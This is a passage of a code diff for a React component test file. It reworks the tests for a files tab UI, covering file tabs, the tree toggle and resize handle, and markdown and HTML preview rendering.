// The Rich/Plain toggle is hidden when diff view is active. + expect(screen.getByTestId("files-tab")).toBeInTheDocument(); expect( screen.queryByTestId("files-tab-content-mode-toggle"), ).not.toBeInTheDocument(); + expect( + screen.queryByTestId("files-tab-diff-toggle"), + ).not.toBeInTheDocument(); }); - it("defaults to files+rich view when the attached source has no commits (non-git workspace or unborn HEAD)", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: true, - isLoading: false, - }); - useHasGitCommitsMock.mockReturnValue({ - hasCommits: false, - isLoading: false, - }); - + it("does not open file tabs until a file is selected", () => { renderTab(); - // Even though something is attached, the diff view is suppressed when - // there's nothing to diff against. - expect(screen.queryByTestId("changes-tab-content")).not.toBeInTheDocument(); + expect(useWorkspaceFileContentMock).toHaveBeenCalledWith(null); + expect(screen.queryByRole("tab")).not.toBeInTheDocument(); expect( - screen.getByTestId("files-tab-content-mode-toggle"), + screen.getByTestId("file-quick-row-tree-toggle"), ).toBeInTheDocument(); }); - it("does NOT probe for commits when no source is attached", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - - renderTab(); - - // The hook is still called (so the diff toggle has a value), but it - // must be called with enabled: false so we don't shell out to the - // workspace pointlessly. - expect(useHasGitCommitsMock).toHaveBeenCalledWith({ enabled: false }); - }); - - it("optimistically defaults to diff view while the attachment / has-commits probes are still loading", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: true, - isLoading: false, - }); - useHasGitCommitsMock.mockReturnValue({ - hasCommits: null, - isLoading: true, - }); - - renderTab(); - - // The common case is a repo with commits, so to avoid a files→diff - // flash on initial mount we lean diff-view while loading. - expect(screen.getByTestId("changes-tab-content")).toBeInTheDocument(); - }); - - it("defaults to plain file viewer when no source is attached", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, + it("shows the active conversation workspace path", () => { + useActiveConversationMock.mockReturnValue({ + data: { + workspace: { working_dir: "/workspace/project/worktree-123" }, + }, }); renderTab(); - expect(screen.queryByTestId("changes-tab-content")).not.toBeInTheDocument(); - // Tree is collapsed by default — user expands via the caret. - expect(screen.queryByTestId("files-tab-tree")).not.toBeInTheDocument(); expect( - screen.getByTestId("files-tab-content-mode-toggle"), - ).toBeInTheDocument(); + screen.getByTestId("files-tab-workspace-path-value"), + ).toHaveTextContent("/workspace/project/worktree-123"); }); - it("lets users toggle diff view off even when a source is attached", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: true, - isLoading: false, - }); + it("opens a tab when a file is selected and closes it from the tab strip", async () => { const user = userEvent.setup(); - + openFile("src/main.ts"); renderTab(); - expect(screen.getByTestId("changes-tab-content")).toBeInTheDocument(); + expect( + screen.getByTestId("file-quick-row-item-src/main.ts"), + ).toBeInTheDocument(); + expect(screen.getByRole("tab", { selected: true })).toHaveTextContent( + "main.ts", + ); - // Click the "Files" segment of the diff-view toggle. - await user.click(screen.getByTestId("files-tab-diff-toggle-option-off")); + await user.click(screen.getByTestId("file-quick-row-close-src/main.ts")); - await waitFor(() => { - expect( - screen.queryByTestId("changes-tab-content"), - ).not.toBeInTheDocument(); - }); - // Quick-row toggle exists and the file-viewer area is shown. expect( - screen.getByTestId("file-quick-row-tree-toggle"), - ).toBeInTheDocument(); + screen.queryByTestId("file-quick-row-item-src/main.ts"), + ).not.toBeInTheDocument(); + expect(useFilesTabStore.getState().selectedPath).toBeNull(); + expect(useFilesTabStore.getState().openPaths).toEqual([]); }); - it("auto-selects the highest-priority file on first render", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - + it("keeps vertical edges on every open tab", () => { + openFile("README.md"); + openFile("src/main.ts"); renderTab(); - // Either index.html (top-priority entrypoint) should be selected. - expect(useWorkspaceFileContentMock).toHaveBeenCalledWith("index.html"); + const firstTab = screen.getByTestId( + "file-quick-row-item-README.md", + ).parentElement; + const secondTab = screen.getByTestId( + "file-quick-row-item-src/main.ts", + ).parentElement; + expect(firstTab).toHaveClass("border-l"); + expect(firstTab).toHaveClass("border-r"); + expect(secondTab).toHaveClass("border-r"); }); it("renders the binary fallback in plain mode for binary files", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); useWorkspaceFileContentMock.mockReturnValue({ data: { path: "logo.png", @@ -269,6 +180,7 @@ describe("FilesTab", () => { }); const user = userEvent.setup(); + openFile("logo.png"); renderTab(); await user.click( @@ -280,45 +192,56 @@ describe("FilesTab", () => { ).toBeInTheDocument(); }); - it("shows full file paths (not just basenames) as quick-row pills", () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - + it("shows the file name (not the full path) on quick-row tabs", () => { + openFile("src/main.ts"); renderTab(); - // The pill for src/main.ts should display the full relative path. - const pill = screen.getByTestId("file-quick-row-item-src/main.ts"); - expect(pill).toHaveTextContent("src/main.ts"); + const tab = screen.getByTestId("file-quick-row-item-src/main.ts"); + expect(tab).toHaveTextContent("main.ts"); + expect(tab).toHaveAttribute("title", "src/main.ts"); + expect(tab).toHaveAttribute("role", "tab"); }); - it("collapses the file tree by default and expands it via the caret", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); + it("shows the file tree by default and collapses it via the caret", async () => { const user = userEvent.setup(); renderTab(); - // Hidden by default. + expect(screen.getByTestId("files-tab-tree")).toBeInTheDocument(); + + await user.click(screen.getByTestId("file-quick-row-tree-toggle")); expect(screen.queryByTestId("files-tab-tree")).not.toBeInTheDocument(); await user.click(screen.getByTestId("file-quick-row-tree-toggle")); expect(screen.getByTestId("files-tab-tree")).toBeInTheDocument(); + }); - await user.click(screen.getByTestId("file-quick-row-tree-toggle")); - expect(screen.queryByTestId("files-tab-tree")).not.toBeInTheDocument(); + it("exposes a grippable resize handle on the tree's right edge when expanded", () => { + window.localStorage.clear(); + + renderTab(); + + expect( + screen.getByTestId("files-tab-tree-resize-handle"), + ).toBeInTheDocument(); + expect(screen.getByTestId("files-tab-tree")).toHaveStyle({ + width: "224px", + }); + }); + + it("opens a tab from the file tree when a file is clicked", async () => { + const user = userEvent.setup(); + renderTab(); + + await user.click(screen.getByTestId("file-tree-file-README.md")); + + expect(useFilesTabStore.getState().openPaths).toContain("README.md"); + expect( + screen.getByTestId("file-quick-row-item-README.md"), + ).toBeInTheDocument(); }); it("renders markdown content via MarkdownRenderer in rich mode", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - // Only expose a markdown file so it is auto-selected as the first - // priority entry. useWorkspaceFilesMock.mockReturnValue({ data: ["README.md"], isLoading: false, @@ -336,6 +259,7 @@ describe("FilesTab", () => { isError: false, }); + openFile("README.md"); renderTab(); await waitFor(() => { @@ -344,26 +268,13 @@ describe("FilesTab", () => { ).toBeInTheDocument(); }); - // react-markdown turns "# Hello" into an

. expect( screen.getByRole("heading", { level: 1, name: "Hello" }), ).toBeInTheDocument(); expect(screen.getByText("bold").tagName.toLowerCase()).toBe("strong"); - // Markdown rendering uses MarkdownRenderer, not an iframe. - expect( - screen.queryByTestId("file-content-viewer-iframe"), - ).not.toBeInTheDocument(); - // The rich-rendered markdown container is mounted. - expect( - screen.getByTestId("file-content-viewer-markdown"), - ).toBeInTheDocument(); }); it("shows highlighted source (not rich markdown) when toggled to plain on a .md", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); useWorkspaceFilesMock.mockReturnValue({ data: ["README.md"], isLoading: false, @@ -382,10 +293,9 @@ describe("FilesTab", () => { }); const user = userEvent.setup(); + openFile("README.md"); renderTab(); - // Toggle to plain — markdown source should now be syntax-highlighted - // as `markdown`, not rendered. await user.click( screen.getByTestId("files-tab-content-mode-toggle-option-plain"), ); @@ -394,17 +304,12 @@ describe("FilesTab", () => { "file-content-viewer-highlighted", ); expect(highlighted.getAttribute("data-language")).toBe("markdown"); - // Confirm the rich-rendered

is gone. expect( screen.queryByRole("heading", { level: 1, name: "Hello" }), ).not.toBeInTheDocument(); }); it("uses the workspace fileserver URL as the iframe src for HTML files", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); useWorkspaceFilesMock.mockReturnValue({ data: ["index.html"], isLoading: false, @@ -423,31 +328,15 @@ describe("FilesTab", () => { isError: false, }); + openFile("index.html"); renderTab(); const iframe = await screen.findByTestId("file-content-viewer-iframe"); - expect(iframe).toBeInTheDocument(); - // The iframe src points at the workspace fileserver so relative - // asset references (`` etc.) resolve to - // sibling files. The `?v=` suffix is the - // cache-buster appended by the viewer so the browser re-fetches - // after each agent-side edit. expect(iframe).toHaveAttribute("src", `${staticUrl}?v=0`); - // The iframe is sandboxed with `allow-same-origin` only: `